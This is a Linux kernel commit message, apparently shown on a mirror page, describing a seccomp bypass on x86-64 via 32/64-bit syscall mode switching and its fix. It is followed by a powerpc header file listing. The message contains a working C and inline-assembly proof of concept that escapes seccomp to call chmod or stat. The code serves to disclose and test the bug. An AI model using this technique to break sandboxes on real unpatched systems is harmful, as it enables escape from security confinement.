mirror of
https://github.com/torvalds/linux.git
synced 2026-07-18 19:47:46 +02:00
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
|
||
|---|---|---|
| .. | ||
| iseries | ||
| 8xx_immap.h | ||
| 8253pit.h | ||
| abs_addr.h | ||
| agp.h | ||
| asm-compat.h | ||
| atomic.h | ||
| auxvec.h | ||
| backlight.h | ||
| bitops.h | ||
| bootx.h | ||
| btext.h | ||
| bug.h | ||
| bugs.h | ||
| byteorder.h | ||
| cache.h | ||
| cacheflush.h | ||
| cell-pmu.h | ||
| cell-regs.h | ||
| checksum.h | ||
| clk_interface.h | ||
| code-patching.h | ||
| compat.h | ||
| cpm.h | ||
| cpm1.h | ||
| cpm2.h | ||
| cputable.h | ||
| cputhreads.h | ||
| cputime.h | ||
| current.h | ||
| dbdma.h | ||
| dcr-generic.h | ||
| dcr-mmio.h | ||
| dcr-native.h | ||
| dcr-regs.h | ||
| dcr.h | ||
| delay.h | ||
| device.h | ||
| disassemble.h | ||
| div64.h | ||
| dma-mapping.h | ||
| dma.h | ||
| edac.h | ||
| eeh_event.h | ||
| eeh.h | ||
| elf.h | ||
| emergency-restart.h | ||
| errno.h | ||
| exception.h | ||
| fb.h | ||
| fcntl.h | ||
| feature-fixups.h | ||
| firmware.h | ||
| fixmap.h | ||
| floppy.h | ||
| fs_pd.h | ||
| fsl_gtm.h | ||
| fsl_lbc.h | ||
| ftrace.h | ||
| futex.h | ||
| gpio.h | ||
| grackle.h | ||
| hardirq.h | ||
| heathrow.h | ||
| highmem.h | ||
| hugetlb.h | ||
| hvcall.h | ||
| hvconsole.h | ||
| hvcserver.h | ||
| hw_irq.h | ||
| hydra.h | ||
| i8259.h | ||
| ibmebus.h | ||
| ide.h | ||
| immap_86xx.h | ||
| immap_cpm2.h | ||
| immap_qe.h | ||
| io-defs.h | ||
| io.h | ||
| ioctl.h | ||
| ioctls.h | ||
| iommu.h | ||
| ipcbuf.h | ||
| ipic.h | ||
| irq_regs.h | ||
| irq.h | ||
| irqflags.h | ||
| Kbuild | ||
| kdebug.h | ||
| kdump.h | ||
| kexec.h | ||
| keylargo.h | ||
| kgdb.h | ||
| kmap_types.h | ||
| kprobes.h | ||
| kvm_44x.h | ||
| kvm_asm.h | ||
| kvm_host.h | ||
| kvm_para.h | ||
| kvm_ppc.h | ||
| kvm.h | ||
| libata-portmap.h | ||
| linkage.h | ||
| lmb.h | ||
| local.h | ||
| lppaca.h | ||
| lv1call.h | ||
| machdep.h | ||
| macio.h | ||
| mc146818rtc.h | ||
| mediabay.h | ||
| mman.h | ||
| mmu_context.h | ||
| mmu-8xx.h | ||
| mmu-40x.h | ||
| mmu-44x.h | ||
| mmu-fsl-booke.h | ||
| mmu-hash32.h | ||
| mmu-hash64.h | ||
| mmu.h | ||
| mmzone.h | ||
| module.h | ||
| mpc6xx.h | ||
| mpc8xx.h | ||
| mpc52xx_psc.h | ||
| mpc52xx.h | ||
| mpc86xx.h | ||
| mpc512x.h | ||
| mpc8260.h | ||
| mpic.h | ||
| msgbuf.h | ||
| msi_bitmap.h | ||
| mutex.h | ||
| nvram.h | ||
| of_device.h | ||
| of_platform.h | ||
| ohare.h | ||
| oprofile_impl.h | ||
| paca.h | ||
| page_32.h | ||
| page_64.h | ||
| page.h | ||
| param.h | ||
| parport.h | ||
| pasemi_dma.h | ||
| pci-bridge.h | ||
| pci.h | ||
| percpu.h | ||
| pgalloc-32.h | ||
| pgalloc-64.h | ||
| pgalloc.h | ||
| pgtable-4k.h | ||
| pgtable-64k.h | ||
| pgtable-ppc32.h | ||
| pgtable-ppc64.h | ||
| pgtable.h | ||
| phyp_dump.h | ||
| pmac_feature.h | ||
| pmac_low_i2c.h | ||
| pmac_pfunc.h | ||
| pmc.h | ||
| pmi.h | ||
| poll.h | ||
| posix_types.h | ||
| ppc_asm.h | ||
| ppc-pci.h | ||
| ppc4xx.h | ||
| processor.h | ||
| prom.h | ||
| ps3.h | ||
| ps3av.h | ||
| ps3fb.h | ||
| ps3stor.h | ||
| pSeries_reconfig.h | ||
| ptrace.h | ||
| qe_ic.h | ||
| qe.h | ||
| reg_8xx.h | ||
| reg_booke.h | ||
| reg_fsl_emb.h | ||
| reg.h | ||
| resource.h | ||
| rheap.h | ||
| rio.h | ||
| rtas.h | ||
| rtc.h | ||
| rwsem.h | ||
| scatterlist.h | ||
| seccomp.h | ||
| sections.h | ||
| sembuf.h | ||
| serial.h | ||
| setjmp.h | ||
| setup.h | ||
| sfp-machine.h | ||
| shmbuf.h | ||
| shmparam.h | ||
| sigcontext.h | ||
| siginfo.h | ||
| signal.h | ||
| smp.h | ||
| smu.h | ||
| socket.h | ||
| sockios.h | ||
| sparsemem.h | ||
| spinlock_types.h | ||
| spinlock.h | ||
| spu_csa.h | ||
| spu_info.h | ||
| spu_priv1.h | ||
| spu.h | ||
| sstep.h | ||
| stat.h | ||
| statfs.h | ||
| string.h | ||
| suspend.h | ||
| swab.h | ||
| synch.h | ||
| syscall.h | ||
| syscalls.h | ||
| systbl.h | ||
| system.h | ||
| tce.h | ||
| termbits.h | ||
| termios.h | ||
| thread_info.h | ||
| time.h | ||
| timex.h | ||
| tlb.h | ||
| tlbflush.h | ||
| topology.h | ||
| tsi108_irq.h | ||
| tsi108_pci.h | ||
| tsi108.h | ||
| types.h | ||
| uaccess.h | ||
| ucc_fast.h | ||
| ucc_slow.h | ||
| ucc.h | ||
| ucontext.h | ||
| udbg.h | ||
| uic.h | ||
| unaligned.h | ||
| uninorth.h | ||
| unistd.h | ||
| user.h | ||
| vdso_datapage.h | ||
| vdso.h | ||
| vga.h | ||
| vio.h | ||
| xilinx_intc.h | ||
| xmon.h | ||
| xor.h | ||